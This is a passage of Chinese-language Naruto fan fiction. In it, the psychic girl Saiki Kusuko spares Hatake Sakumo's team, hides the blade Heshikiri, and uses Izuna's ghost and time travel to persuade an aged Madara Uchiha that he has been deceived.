旗木朔茂心下微沉,却没有反驳自己这位老友的话。 熟悉刀谱的人都听闻过,压切是战国流传下来的名刀。 可只有少部分人才知道,压切是二代火影千手扉间的佩刀。 他用这把刀杀死了宇智波斑的弟弟,之后,这把刀的主人就仿佛受到了诅咒一般,和二代一样,接连在壮年死去。 因为二代当初断后,所以这把刀遗落在了战场,随即辗转多手。 那时,二代战死,三代顶着压力即位,却惹得千手一族不满,他们率领大批族人退出木叶,居住在大名所居的京都。 及至前几年千手绳树战死,千手一族更是直接切断了木叶与其之间的联系,独留千手姬一人为木叶效力。 直到最近,木叶才得知压切的踪迹,不惜一切代价,要将这把刀带回,好以此为契机,联络千手一族。 “朔茂,这次任务只能成功,不能失败。” 朔茂想起了三代火影猿飞日斩的话。 这位年迈的火影当然也知道此次任务的难度,可是他也分不出更多的人手了。 ‘不知道这次,我又能带回几个队友……’ 心中怀着这样的隐忧,他也只有前进而已。 事情果然向着最糟糕的猜想滑落。 一路畅通无阻,收藏名刀压切的房间里,却有一个看起来身量只如孩童一般大小的忍者,微一动作,他的所有队友就都被制服,而后被一个忍者以水牢术束缚住。 他望着那名年幼的忍者,不由得问:“你是水影吗?” 对面的忍者歪了歪头,声音清亮却冷漠,“怎么?水影也是个小孩吗?” “……不,他好像只是 长不高而已。” “哦。”那小孩转过了脸,隐没在面具中的眼睛,似乎在盯着他,“我不是,我只是路过的小孩而已。” ‘路过的小孩?’旗木朔茂想要笑,但是嘴角根本无法勾起。 “朔茂!别管我们!杀死他们!拿走刀!” “是啊!队长!” “朔茂,下定……唔!” 旗木朔茂瞳孔猛地一缩,想要出手斩断那成年忍者水牢术中延伸出的,咬住队友脖颈的水蛇。 却感觉自己的刀尖根本没法动作,转眼一看,才发现方才那个孩子,就站在自己的身边,一只手指重逾千金,按压在自己的刀背之上,让他不能动弹分毫。 “我已经下定决心,当这次是最后一次了,所以,大叔,你还是好好听我讲话比较好。” 那孩子仰起了脸,黑白色的面具直勾勾盯着他,“答应我的请求,而后,你带着你的队友和刀离开,否则,就全部死在这里。” 他嘴唇颤抖了一瞬,因为即便是他也没能看清楚这个孩子的动作,更无法反抗他的力道。 这是怎样的怪物呀?水之国难道有着这样的忍者吗?又或者,他其实是人柱力? 在队友的闷哼和怒骂声中,旗木朔茂问道:“你的请求,不,要求是什么?” 他已经做好了听到让他自残,自尽,乃至更侮辱一点的要求,可是那个孩子依旧冷淡,声音像是初冬的薄冰。 “当然是……回到木叶之后,你不能再做忍者。” ----------------- “当然是……回到木叶之后,你不能再做忍者。” 齐木楠子说着,她已经想清楚了。 旗木朔茂的问题不仅仅是这一次的任务和这一次的队友死亡,她甚至咨询了那位水之国的厉害忍者。 对方的回答是:“偶尔,我也会有那样的想法,我们难道是兵器吗?为什么要那样轻易地挥刀杀人,甚至是自己的队友,这……大概就是忍者的宿命吧。” “不,如果能轻易就杀人,那才是不对劲的吧。”她那时如此吐槽,只惹得对方一阵发笑而已。 那当然不是嘲笑,而是听到了正论,反而因自己的境遇所产生的苦笑。 旗木朔茂也是一样,他产生了这样的疑惑,却又是那样一把好用的刀。 及至接近断掉,也无人在意。 既然如此,那就让他不要再做忍者,不要再做任务。 旗木朔茂,张了张嘴,苦涩道:“你难不成是让我断掉一臂吗?” 楠子的眼角跳了一下,但是旗木大叔的队友,还在叫着“不要啊!”“不要!”,她忍不住冷声打断:“啊……难道你们所有人的性命,还比不上旗木朔茂的一双臂膀吗?” 旗木朔茂的队友们当然只有沉默,方才,他们也只是不相信对方只要旗木朔茂一双臂膀,就能放掉他们,还能让他们拿走任务物品而已。 寂静蔓延,气氛越发尴尬起来。 直至水牢术中空气吸尽,旗木大叔第一个队友闷哼一声,倒伏下去。 旗木朔茂终于挺直了脊背,将手中的刀放置一边,跪坐下来,双目坚定地看向了楠子,“只要你遵守约定,那么,你就动手吧!” 5. 欺骗 齐木楠子怎么会动手呢?她连杀鱼都不会。 只是待旗木朔茂的队友一一晕厥,旗木大叔差点又拔刀相向后,她抬起了手,指向了放在展示架上的那把刀。 “你把这把刀拿走吧。” “什么?”旗木朔茂似乎不敢相信这件事是如此轻易,眼睛瞥向了那边水之国的忍者,对方沉默了一瞬,从自己的背后,又拿出一把刀来。 旗木朔茂瞳孔微缩,因为那是一把一模一样的压切! “听说木叶白牙是用刀的行家,我正想让你辨认一下看看呢。”那忍者转头看向了那孩子。 于是楠子也摇摇头,从展示架的下面又掏出一把刀来。 三把刀并排放置着,旗木朔茂动作小心,屏住呼吸,一一将三把刀看过。 最后才像是松懈了一般,道:“我看不出来,我看不出哪把是真的。” 水之国的忍者大为惊异,却见楠子随手从中捞出一把。 “这把是真的,因为它有灵魂。其他两把都是假的,但是,只要我还活着,它们就不会露馅。” 她说着,转头去看旗木朔茂,“我猜木叶应该不会大张旗鼓地宣告自己得到这个东西了吧?” 旗木朔茂定了定神,准备应付一二。 楠子却已经从他的心声中听到了来龙去脉,忍不住心底吐槽:‘以为送把刀就能和好了?那可是真正死了人啊。’ 她胡乱点了点头,算是认可了朔茂的瞎话。 那水之国的忍者也不在乎木叶拿刀回去是做什么,他也决定了,只要一味咬定任务物品未丢失即可。 “那你就快带着你的队友和刀回去吧,但是要记住你与我之间的约定,否则……我不会杀死你,却会一一找上你的队友,让他们替你偿债。” 楠子睁大了毫无感情的眼睛,恐吓道。 “……好。”像是真被吓到了,旗木朔茂过了许久才应声,“可是,你真的不准备夺取我的双臂吗?” ‘我要那血糊糊的东西做什么?冰沙吗?’楠子木着脸摇摇头。 看着朔茂的眼神逐渐变得迷茫,他甚至喃喃出声:“那我……应该要做些什么?” ‘做些什么?当然是普通人应该做的事啊?……哦,对了!’楠子强忍着兴奋,盯住了旗木朔茂,“你要对小孩好一点!” 最好是多多给零用钱,这样她就能多多吃到咖啡果冻了!嘿嘿!计划通! 旗木朔茂的目光变得复杂,心声也变得宁静。 楠子没有在意,“既然这样,就快结束吧。”她也要休息了。 “等等!”打断的,不是旗木朔茂,而是水之国的那个忍者,对方的小眼睛热忱地看着她,“我叫鬼鲛,他叫旗木朔茂,那你叫什么?呵……” 他咧起嘴来,笑容凶恶,却奇异地有着几分真诚,“你的人情我承了,但是,至少要留下一个姓名吧。” 楠子其实早就知道了对方的姓名,此刻,看到窗外晨光熹微,不由得说: “云遮天暗,晨光破晓,我的名字……就是晓。” ----------------- ‘呼,这次应该没问题了。’ 为了保证百分之百没问题,她甚至暗中护送旗木朔茂一行人回木叶,又用千里眼之术确认了鬼鲛那边的情况,才将自己拿到的真“压切”装入盒子,埋在了木叶附近。 回到了自己的时空,脑海里的记忆重新生成,她开始仔细检视。 ‘卡卡西的父亲回来了,他没有异样,没问题。 ‘卡卡西的心声提到家里以后进项少了,需要注意,那应该是旗木大叔不做忍者了,没问题。 ‘几个月以来,没有再听到卡卡西心内的杂音了,呼……彻底妥了。’ 楠子想着,脚步轻松。 ‘接下来,就是搞清楚压切的事,而后……等等……’ 在众多儿童的喧闹声中,她听到了一个熟悉的心声,脚步不停,“呼啦”一声拉开纸格门,看着眼前惊讶回头的两人微微张嘴。 ‘啊……他怎么会在这里?’ “这是楠子,齐木楠子,和旗木上忍你的儿子是好同学呢。”野乃宇笑着道。 “呵,我现在已经不是忍者了。”旗木大叔侧坐着,那微微带这些苦涩的眉眼,实在是夯爆了! ‘等等,现在不是说大叔的气质样貌夯不夯的时候吧。’ 楠子动了动嘴唇:“旗木上忍?” 野乃宇抬起了头,耐心解释:“这位是木叶白牙旗木朔茂,他最近刚好退休。楠子,你不是说,需要提高孤儿院孩子们的识字率和基础知识,才更容易考进木叶小学的吗?旗木上忍最近刚好有空帮忙。” ‘我是说过,但是那是因为我考入木叶小学,全靠心灵感应和透视来作弊啊。’ 楠子还是感觉无法接受,尤其这两个大人还“你好我好大家好”的寒暄上了。 “呵,还是麻烦你叫我朔茂吧。” “诶?可以吗?” “当然可以,你是孤儿院的院长嘛。” “那么,朔茂可以叫我野乃宇。” “嗯?可以吗?” “当然,可以。” ‘喂喂,院长阿姨!你的脸已经开始红了哦!旗木朔茂你这个罪恶的男人!’ 不用预测未来,楠子都可以预想到未来可能发生的事,难免有些愤愤不平。 她费尽辛劳救下的男人,最后却可能拐带走她的院长呢! 只是下一刻,野乃宇的心声让她冷静下来。 ‘如果是木叶白牙在的话,根组织应该会有所顾忌吧,那么,那些孩子……’ 根组织,是楠子常常在野乃宇心中听到的组织。 这所孤儿院说是木叶的孤儿院,实际上是由根组织拨款。 为了获得更多的钱,野乃宇也不得不常常去出任务。 有的大一点的,有天赋的孩子,会直接加入根组织,而后……再也没有回来。 楠子的睫毛微微垂下,努力对着旗木朔茂露出一个笑来。 “爸爸。” “额?什么?”野乃宇和旗木朔茂明显惊讶。 “不,旗木大叔让我想起了爸爸。孤儿院的孩子们都没有了父母,如果说野乃宇院长像是妈妈,那旗木朔茂大叔会来做我们的爸爸吗?如果有这样的爸爸,我们,就不会再被欺负了吧?” 楠子努力表演着,脑海中却在想。 ‘屁嘞,这个家伙连自己的儿子都要抛弃呢!’ 可是那种生涩且僵硬的神情却刚好符合了一个想要讨好大人,试图获得承诺的孩子的形象。 无论是野乃宇,还是旗木朔茂 都沉默了。 这个时候,楠子甚至弄清楚了旗木朔茂为什么会出现在这里。 因为他想起了“晓”的话,他让他对小孩好一点。 那时的楠子当然指的是旗木卡卡西,但是旗木朔茂却以为晓因为自己就是个小孩,所以希望他能关注其他的小孩。 于是,他在自觉百无一用之后,来到了木叶的孤儿院。 嘴角露出了温暖的笑意,这位中年帅大叔望向了她,“我并不是一个好的父亲,但是如果能够帮到大家的话,也无妨。” ‘哎呀哎呀,你还真不是个好父亲呢,至少应该问问真正的儿子,旗木卡卡西的意见吧。’ 虽然脑袋里是这样想的,楠子却像是欣喜一般再次露出的僵硬的笑容来。 ----------------- “就是这样,我在孤儿院见到了你的父亲,他还做出了这样的承诺,所以我认为我有必要和你说一声。啊呜。” 楠子平淡说着,但是一口咖啡果冻下肚,就打破了她平静的神情。 ‘太好吃了,实在太好吃了!’ 那神情让有些恍惚的旗木卡卡西回过神,“好吃就好。” 【父亲虽然提过最近会找新的工作,但是没想到是去孤儿院了啊。】 楠子继续说:“孤儿院的报酬不会很高,所以你可以劝劝你的父亲找点别的工作也可以。” “嗯,没有关系,父亲应该是有自己的考量的。”六岁的小孩像是一个小大人一般说着,脑海里却已经想着他也可以多少接点村内的任务,补贴家用的事。 ‘真是劳碌命啊,卡卡西。’楠子盯着手中的咖啡果冻,似是不经意地说:“我看他和野乃宇院长很投契,说不定,卡卡西你会有新妈妈。” 若说为什么,朔茂大叔还没有那样的想法,但是野乃宇哪怕内心坚定,但是高兴的时候,还是会对着那张帅脸泛花痴。 ‘就像自己一……’手中挖取咖啡果冻的塑料勺一下子被折断,楠子心中大震动,‘什么?!我其实也在对着卡卡西犯花痴吗?不会的,绝对不会的!只是因为他请的咖啡果冻太好吃了而已。’ “怎么了?”卡卡西询问。 “……没什么。”楠子面色冷淡,“为了感谢旗木大叔,院长让我每天给你带早餐和午餐,晚餐你也可以到孤儿院吃。” 其实是楠子提议的,但是一想到花痴之类的事,她瞬间不想提了,连脸色也带上了几分冰冷。 【嗯?怎么生气了?……是因为什么新妈妈之类的事情吗?】 楠子睫毛微垂。 就是这样,她将这件事告诉卡卡西,就是希望他能早早想好,做出决定,无论是阻止也好,听从也罢,她希望那是他真实的想法,而不是他父亲的自作主张。 “我吃完了,多谢款待!” 她转身欲走,忽而感觉手腕一重,还未及回身,就听见卡卡西的叹气声。 “妈妈不妈妈的,我没有想过,但是……如果父亲幸福的话……” 他语气有些怅然,其实并不是那样无所谓。 楠子在心底深深叹气,反手捏住了卡卡西的衣袖,“那你今天就和我回孤儿院看看吧。” “额?”卡卡西有些诧异。 “请你吃晚饭。”楠子说着,将卡卡西拽了起来。 6. 诈骗 (各位书友,万分抱歉! 因为前天晚上收到了可以签约的站短,我实在太激动了,所以把一章粘错了,如果看到这一章请往上看一章,因为今天发错,所以更2章哈!) 对楠子来说,带着卡卡西到孤儿院吃晚餐更像是带着他去视察。 但卡卡西明显不这样想。 他心中生出了诸多的感慨,甚至包括…… 【这样的楠子也很可爱。】 ‘抱歉,你说太多,我已经免疫了。’楠子如是想。 原本想要平常对待的,可接下来楠子就感觉到了麻烦。 ‘虽然家族的通灵兽是狗,但也不必这样粘人吧……’她就是这样认为的。 早上,卡卡西偶尔会和朔茂大叔一起来吃早餐,而后和她一起上学,之后是一起吃野乃宇准备的午餐,最后一起回来吃晚餐。 哪怕是再怎么爱听有人说她“可爱”,这样黏在一起的时间也太长了。 且不提班级里男生和女生的嫉妒之心给她带来的关注和麻烦,她真的十分想要早点拿到压切,看看那把刀是什么情况。 ‘不是说没钱吗?去做任务吧,赶快去做任务吧?’楠子打心底里默默催促着。 于是,终于有一天,卡卡西迟疑着对自己说:“我最近要请几天假,去看看远方的亲戚。” “哦,和朔茂大叔一起吗?” “……不,是父亲的队友刚好顺路,可以带我去。” “那你路上小心。” 楠子平静的声音遮掩住了她心中的雀跃。 ‘终于可以放松了!欧耶!’ 只是下一秒,卡卡西望着她的脸,还是叹了口气,“唉……没办法,我会给你带当地的咖啡果冻的。” 楠子眼睛一亮,握住了卡卡西的手,“请你务必要带!” 就这样,卡卡西抿嘴笑了起来。 ----------------- 咖啡果冻什么的,虽然很期待,但那是卡卡西回来后的事了。 等卡卡西一走,她就瞬移到了原本藏刀的地方。 ‘是在这里吧?原本想做标记的,但是这里毕竟是野外。……嗯?’ 她眉头一皱,只因原本埋刀的地方只剩下了一个空盒子。 身后寒风微动,一把刀已经压在了她的脖颈上。 那是压切。 ‘糟糕,没有变身,也没有伪装。’ 楠子一动未动,平静的目光顺着那把刀看去,就见到一双红色的眼睛,以及……他身后半透明的影子。 心灵感应自动散发,她听到了周围嘈杂的心声,继而双眼微微睁大,不由得问:“你是……宇智波斑?” 就像是往常一样,她只要说出一个关键词,其他人的心声就会像是网页检索一样嗖嗖嗖弹出页面。 越聪明的人越容易那样。 ‘宇智波斑?是指被二代火影杀死的,宇智波泉奈的哥哥吗?那么……这个半透明的影子,就是宇智波泉奈?’ 楠子此刻无法言语。 因为面前那红色眼睛的主人,也就是宇智波斑,早已是个垂垂老矣的老人,嘴上说着气势高昂的话,心声却一直“werwer”直叫。 而宇智波泉奈的半透明身影也在说话。 他似乎已经度过了一开始的“苏醒”“惊讶”“恐惧”“暴怒”,变得理智且可以沟通。 但他又明显因为兄长此刻的模样而极力想要说些什么。 是的,在上一个时空跳跃的时候,楠子就发现了压切刀身上所带有的残魂,她在埋下压切之前,又在其中注入了超能力,希望能够助力那个灵魂复苏。 这也是为什么她希望能早点到来的缘故。 谁不希望能看到自己的宝○梦降生的那一刻呢? 可是她失望,十分失望啊。 周围的声音吵得她脑仁儿疼,她眉头微动,“等等……” 斑:“你这个女孩……”【er】 泉奈:“你要告诉我的哥哥……” 不知道是什么的鬼东西:“&……(*%%……¥)” 深紫色的眼睛眯了起来,看向了宇智波斑和泉奈的方向,“停……” 斑:“呵,我可是宇智波斑,你……”【er】 泉奈:“除了那些,还有……” 不知道是从哪里来的外星人:“%¥*&(……(*&))” “不是……”楠子有点受不了了。 斑:“这把剑是你的?你……”【er】 泉奈:“你快提醒我哥!” 报出了名字,但是不知道在干什么的有机生物:“%¥……&%……¥%” “我说,‘停’!”楠子的眼睛猛地睁大。 世界安静了。 无论是宇智波斑还是宇智波泉奈,亦或者远处隐藏着的那坨,都像是中了定身术一般。 ‘哎……又失控了。’楠子深吸口气,将自己的情绪压下,一双眼睛终究变得平静无波,看向了宇智波斑,上下打量了一番。 年长的忍者脸上有些皱纹,花白的头发披散在脑后,一身衣袍在风中飘荡,看起来六七十岁,整体的风仪却让人觉得不容小视。 ‘至少……比火影大人显得年轻呢。’楠子一时之间不由得有些咂舌。 但是她还是愿意回答宇智波斑的问题的,随意从僵硬着的宇智波斑手上拿过剑,她说:“这是压切,听说是二代火影的佩剑。你的弟弟死在了这把刀下?” 宇智波斑的眼角明显地跳动了一下。 楠子反而有些讶异了。 她知道自己超能力的界限,被自己震慑住,他居然还能动,这位宇智波斑还真不亏是宇智波一族的最强忍者,不容小觑。 ‘何况,算起来,他也是个百岁老人了吧?’楠子想着,手中的剑反而传来一股微小的热度。 她目光垂下,盯着那刀上的花纹,眼神中微起波澜。 “你的弟弟,在担心你。” “……”宇智波斑自然回答不了,但楠子完全不需要对方口头来回复。 她只要听心声就可以了。 斑在心底大喊:【什么?!你居然敢提到泉奈。】 “我之所以提到对方,是因为他就在你的身后,想要拉住你。但是你……什么感觉都没有对吧?” 楠子的目光带着了然,看向了泉奈,“这也是难免的,只有具备灵能力,或者具备与灵魂沟通能力的人,才能看到幽灵。……你的弟弟说他是因为太担心你了,所以才徘徊在世间。他说,他原本就在你的身边,但是你一加入木叶,不知道为什么,他却被牵制在了二代扉间的刀里……唉……” 斑的心声因震惊和不信而吵个不停,楠子干脆蹙起了眉,显得越发不近人情,“我还是不传达了,由得你自己看吧。” 楠子的超能力中包括了“传心术”,可以将自己见到的,或者意识中的画面,传递给别人。 ‘让斑能开口说话吧。……啧,怎么还在er的响啊!’楠子干脆将脸转向了另外一边,而后放空自己的大脑。 这反而让她显得越发神情肃穆,清冷自持。 至于“哥哥是大笨蛋!”“泉奈你怎么能这么说!”“你为什么把自己搞成这个样子!”“我……我这是为了站在忍者之巅!对!就是这样!”之类的话语就当做没听见好了…… “抱歉,我可不是这样说的。”一个柔和却冷淡的声音响在了宇智波斑的附近,宇智波泉奈蹙着眉,像是在忍 受着些什么,沉声说,“我可没有说什么‘哥哥是大笨蛋’。” 楠子目移:“……” “就算是想要编排,也不要在现在。”泉奈的声音颇为隐忍,只是那双眼睛看向了斑之后,立马就变得暴怒。“兄长!加入木叶又叛出,之后又回来想要破坏!你到底想要干什么?!” “呃……这……” “他在想,‘这不是我的欧豆豆,我的欧豆豆是不会这样和我说话的’。”楠子转过头,“他怀疑我使用了他不能理解的幻术。幻术我听过,但是要怎么用?” 她顿了一下,“抱歉,我真的才是个一年级的小学生。……战场什么的也没上过,让您失望真是不好意思。” 斑和泉奈没有理她。 “我就是你的弟弟,”泉奈忍着羞耻,说出了几件除了斑与他以外绝对不会知道的事,讲述了他变成鬼魂之后的经历,最后才垂下了头,道: “我从来没有怨恨过兄长你,我以为我还能以鬼魂的形式陪在你的身边,看着你娶妻生子,就再幸运不过。哪怕是不能离开压切左近,但是只要你还在木叶,我就能得知你的消息,可是……没有想到……” “泉奈……” “兄长,既然哪怕我死去也无法更改你两族联盟的决心,为什么你又要离开呢?” 泉奈的眼睛一瞬间变得猩红,斑在他的目光下几乎不能言语。 嘴唇颤抖了一下,才说:“是柱间……他……” “不对吧?”泉奈的眼神变得失望。 楠子甚至能够理解,因为如果泉奈一直跟在了二代火影的身边,那么他所能接触到的事务和压力,恐怕比他这位过于精通战斗的大哥还要多。 而他大概就是在那日复一日的事务与期待当中,泯灭了原先的怨恨,而后成为一个澄澈的灵魂的吧。 要说为什么,那就是楠子天生就明白,非极致的怨恨和遗憾是无法将自己的灵留存于世的。 泉奈也并不是被压切所困,而是他身上的怨恨化作了锁链,将他锁在了二代火影的身边。 只不过他的仇恨消弭了,他才能附身于压切之上,成为被压切认可的守刀灵。 这就说明了,至少在最后一刻,宇智波泉奈试图出手救下二代火影,从而被二代的刀认可,只是他失败了。 ‘真是有天赋啊……明明这个世界对于怨灵生成的限制比我原本的还要严格。’ 如果不够严格,这里早就变成鬼蜮了也说不定。 在楠子思考的这几秒,泉奈已经如数家珍,说出他兄长在木叶时期的心态变化,丝毫不顾及他的兄长此刻是位百岁老人。 ‘啊……如果是我被这样说,我就立马捂着心脏躺下,说你骂老人,哦……不对,小孩。’ 可斑明显没有她那样不要脸皮。 他的神情一阵挣扎,看似在听着泉奈说说说,但实际上,人已经走了一会儿了。 毕竟啊,老人就是比较固执嘛。能确认是自己亲爱的弟弟就够了,难道他还有很多时光可以荒废吗? 还有啊,除了斑和泉奈,旁边那个黑泥是叫黑绝的吧?为什么也要“werwer”直叫。 宇智波斑是养了只狗吗?还被狗耍的团团转。 他们应该不是搞笑漫画里的人物吧? 毕竟,在楠子六年来的记忆中,只有搞笑漫画里的老人才能这样精神矍铄吧?就算是火影也一副垂垂老矣的模样。 斑依旧“看”着她的弟弟,头却摆了过来:“喂,你是叫齐木楠子吧?” “嗯?”楠子抬起死鱼眼,看了他一秒,道:“我没法复活你弟弟,也没法给他新的身体,你弟弟已经是灵了,轮回天生之术没用,月之眼计划也是假的。 “其实,我早就想打断了,老登,你被诈骗了。” 7. 证明 齐木楠子,想过平静的生活。 如果不是从心声和泉奈的话语中得知,宇智波斑操劳一生,结果上了个大当,她估计早就删除记忆而后闪人——反正谁也抓不住她。 “你说我上了当?”宇智波斑的眼睛瞪着,嘴角狠狠抽搐了一下,“你说什么?” 用一双无神的眼睛看着他,楠子抬起了手,远处迅速飚来一团黑泥,在楠子手中扭动着,尖叫出声。 “你知道这是什么吗?” “它……是黑绝。”斑肯定道,但是楠子听到了他动摇的心音。 “别开玩笑了,你其实也有点察觉了吧。”楠子捏着黑泥,将它捏成各种各样的形状,继续道,“它的母亲是辉夜姬。哦……不是童话故事里那个……” 她开始讲述自己从黑绝的心声中听到的事。 当然,只要她开一个头,黑绝的脑海里就会自动帮她补全之后的事,不然,楠子也无法清楚了解事情的经过。 这就是心灵感应的强大之处,所谓秘密,在她面前无所遁形。 “……所以说,月之眼计划不会打造完美的世界,至于借由轮回眼重生,你已经活了一百多岁了,难道还没有活够吗?” 楠子认真地问。 她之所以停留在这里,也是因为宇智波斑看着就会搞事的样子。 尤其她方才还隐约得知,对方在等待雨之国的某个忍者“成熟”,简直像是变态一样。 如果宇智波斑不听劝的话,她也只有…… 微微眯起眼睛,楠子想到了一些危险的事。 当然啦,她这种搞笑漫画的女主角是不可能动手杀人的。 ‘不可能,绝对不可能啦。’她讨厌血。只是她那眯起的眼睛,冷酷的神情,似乎完全让某个人误解了。 “兄长,我原本不想说。但是千手扉间研究禁术,已经受到了应有的惩罚,我不希望你和他一样!”泉奈严厉道。 “可是……泉奈……” “你也不要想着用轮回天生之术,让我复生的事。”看着此刻有些畏缩的哥哥,泉奈越发不满,“如果你还记得我,当初在扉间研究出秽土转生的时候,你就可以召唤我,而不是直到现在再说什么复活。而且,你一开始只想着复活你自己吧!” ‘哇,打出暴击了啊!’看着仿佛被戳入一整吨苦无的宇智波斑,楠子心中有些咂舌。 在斑的脑海中,泉奈还是那个温柔的弟弟呢。 不过,其实泉奈估计并未真的生斑的气,只是看自己哥哥活了百岁,身边连一个贴心的人都无,所以越发觉得痛心吧。 ‘不过,泉奈,你哥哥心态超年轻的哦!不如说年轻得过了头了,比卡卡西还要幼稚呢!’ 楠子虚着眼想。 毕竟,哪个忍者想要复活,就是为了证明自己是对的啊。而且不想复活自己的弟弟,就是因为自己太逊了,没有为他复仇也没当上火影,所以没脸见他什么的…… 这简直比晴花还低龄! 哦,你问晴花是谁?是她在孤儿院毫无血缘的妹妹。 顺便一提,她才4岁。 楠子神色淡漠,声音也如在同一个波段一般毫无起伏。 “你的弟弟在担心你,毕竟你已经百岁多了,回首半生,依旧是一个孤寡老头呢。” 泉奈尖叫着“才没有呢!才没有呢!”的事情,当然没有发生, 只是楠子的“毒舌”让宇智波斑恢复了警惕,“你到底是谁?又为什么知道泉奈和我的事情?……就算泉奈和黑绝的事情是真的,你总不可能是神吧?” 到了最后,宇智波斑的话音里甚至带了嘲笑,但是从对方的心声当中,楠子早就听到了对方的动摇。 她站在那里,双手随意放着,望着宇智波斑这位大豪,眼底依旧平静无波。 “我只是区区世界最强超能力者。” “超能力者?别开玩笑了……嗯?”斑目光朝下,就看到那女孩抬起了手,目光冷淡地看着他,“这是什么?” “没什么,只是想让你了解一下我能做到什么地步而已。”楠子面无表情,只用那双没有感情的眼睛盯视着宇智波斑。 泉奈意识到了什么,想要阻止,但是他那同样十分熟悉弟弟的兄长,在看到他的神色之后,已经自信一笑。 “呵!那就让我看看,你究竟在弄什么鬼吧!” 看着他昂着头的模样,楠子嘴角抿出了一点笑意,握住了宇智波斑的手。 对她来说,时间跳跃不过像是旅游一样,哪怕是她存在着的时空,只要离自己远远的,那么她就有无限的时间可用。 而对于她还未存在的时空,她就像是灵魂画师,只要不怕产生蝴蝶效应,那么就可以任意涂抹各种各样的色彩。 “这……这是哪里?”斑的目光环视过一圈,而后才紧紧盯着自己脚下的土地。 “这、这……难道是……”他有些无法将自己的猜测说出口。 楠子却毫不意外,平淡道:“这里是木叶建立之前的火影岩,我使用了时空跳跃,而后是瞬移,你看那里。” 她抬手指向了一个方向,无论是神情凝重的泉奈还是不敢置信的斑都望向了那里。 那是在新建起的办公楼边,有一个斑十分熟悉的忍者正站在窗后,而后倏而消失不见,紧接着,一个黑发的忍者推窗观察。 那是……一代火影。 宇智波斑眼角一跳,正是在这一天,他听到了千手扉间对于自己的诋毁。 “这是过去……”他喃喃着,忽而兴奋,“你能改变过去?!那泉奈……” “很抱歉。”楠子打断了对方的渴盼,抬眼望去,“你想要毁灭世界吗?那我倒是挺乐意那么做的。” 宇智波斑,怔住了。 ----------------- “我的兄长,当然不会想要毁灭世界。”泉奈沉声道,“我也不需要复活和救助,兄长,你不是明白吗?” 斑依旧有些迟滞。 是的,他其实明白,如果要复活泉奈的话,那么要不要复活其他兄长呢? 如果要复活其他兄长的话,那父亲和母亲呢? 父亲和母亲复活之后,其他人呢…… 宇智波一族强大之后,柱间所打造的那个未来,还会存在吗? 呵,虽然他一直在嘲笑柱间,可是他心底分明明白,什么都没做,隐藏在黑暗中的,是他自己。 就连将轮回眼交托给别的孩子,准备找机会让对方设计复活自己,也不过是因为自己不服 。 不服气柱间的梦想,不服气自己的无为,不服气…… “兄长。” 泉奈的声音打断了斑的自我剖析,他抬眼望去,只见自己的弟弟蹙眉望着他。 这时候他才恍然,眼前泉奈的灵魂已不像是当初死去时那样年轻冲动了。 他在最好的年华逝去,却又被这把残刀所束缚。 如果那时,他能够杀死千手扉间的话……是不是…… ‘所以说啊……能不能不要一直脑内风暴呢?真的是很吵啊!’ 楠子拉平了嘴角,不得不点出一件事:“宇智波斑,你的弟弟不能成佛。” “什么?!怎么会!”斑惊愕出声,看到楠子冷淡的面容后又沉下声音,“你是在开玩笑吗?” “怨灵就是怨灵,哪怕失去了怨恨,他依旧有着自己的罪,既然背负着罪,又哪有那么轻易就能逃脱呢?”楠子声音清冷,却带着一股让人无法忽略的信服,仿佛她说的就是真理。 但对宇智波斑那一级的忍者来说,也只是“仿佛”。 “我说的,就是世界的法则。”楠子蹙眉看了宇智波斑一眼,“你的弟弟,也清楚这一点。” “泉奈?”斑越发诧异,只是在看到自己弟弟垂眸确认之后,越加痛惜,“泉奈,我……” 楠子再次不合时宜地打断了斑的“抒情”,“如果赎罪,就可以让他成佛。我说,你好歹也是和忍者之神齐名的忍者吧?” 她深紫色的眼睛带着冷意看向了宇智波斑,“你……就不能阻止战争吗?” ----------------- ‘如果不行,我就找到他,而后删掉他的记忆,将压切拿回来。’ 夕阳已至,楠子告别了根本不在乎她在不在的两人,回到了木叶的孤儿院。 “啊!楠子,回来了。啊,脸色这样不好,是因为卡卡西不在,所以寂寞了吗?” ‘喂喂,请不要在对方父亲在场的情况下拉郎配啊!’ 迎上旗木朔茂似是了然又似是打趣的神情,楠子的脚趾都要扣起来了,木然道:“说这样的话,我可是会告你性骚扰的。” “额。”野乃宇的嘴角微微抽动了一下,而后立马迎上来揉弄她的头发,“不要像是小大人一样啊!” “也拜托你不要像是小孩一样!”楠子说着,方想躲开,可想想旗木朔茂正在注视,于是只能脚步站定,“忍受”野乃宇的骚扰。 及至短短的头发越发蓬松,她看向了另外一边,“又有新的孩子了吗?” “是啊。” “是哪里的?” “嘛,不清楚呢。”野乃宇轻松说着,仿佛有新的孩子到了孤儿院不是什么大事。 可楠子明白,野乃宇正在庆幸。 并不是所有的孤儿都能进入木叶孤儿院。 残疾的不能,无法治疗的不能,只要没有可能成为忍者的,大部分都会被放弃。 而这些孩子能无病无灾地加入孤儿院,就已经是值得庆幸的事了。 ‘这个世界遍地都是战争。’ 楠子垂下眼眸,不由得去想宇智波斑。 他会同意自己的提议吗?还是说,那位和忍者之神齐名的忍者,真的……就不过如此? 8. 归来 木叶小学的一年级小学生齐木楠子并没有那么多时间思考“大人”的事,因为木叶小学……不,忍者的生态环境真的很差——木叶白牙被霸凌挤兑无疑证明了这一点。 上行下效,所以冷面美少女楠子在面对自己再次被“霸凌”的窘境时,也不算惊讶。 “呵,楠子,卡卡西请假了!你就别想仗着他,为所欲为了!”我?为所欲为?你说每天都在省电的我吗? “就是,仗着自己可爱就高高在上!”等等,已经是第二次说我可爱了吧?难不成是想向我告白吗? “忍术知识和体术那样垃圾,还敢缠着旗木卡卡西!”额……楠子目光微移。 她的体术之所以烂成那样,只是因为不想造成伤亡而已。 你体会过不小心被虫子吓到,使劲儿拍打,结果毁了一座城市这样的事吗? 至于忍术……她所能变出的火焰,蒸发一座小岛也是瞬间能做到的事。 所以,学那些忍术有什么用? 她沉默着不说话,对方就当做了轻蔑,眼看着这次霸凌事件即将升级,齐木楠子准备借着被泼一身水的机会,找班主任整顿班风班绩。 眼前突然跳出两个忍者。 “你们不可以行不义之事!” “喂,欺负女生可太逊了啦!” “嗯?”楠子有些惊讶地看着面前突然出现的人,‘居然没听到两人的心声? 只是下个瞬间,她就发现自己想错了。 她没有听到,绝对是因为方才两人脑袋空空吧? “我是旗木卡卡西的至交好友迈特·凯!”【嘿!救下了卡卡西的好友,那我也是他的挚友!】 “那个,我是宇智波带土。”【啧,真不想管,卡卡西那个家伙真爱给人惹麻烦。】 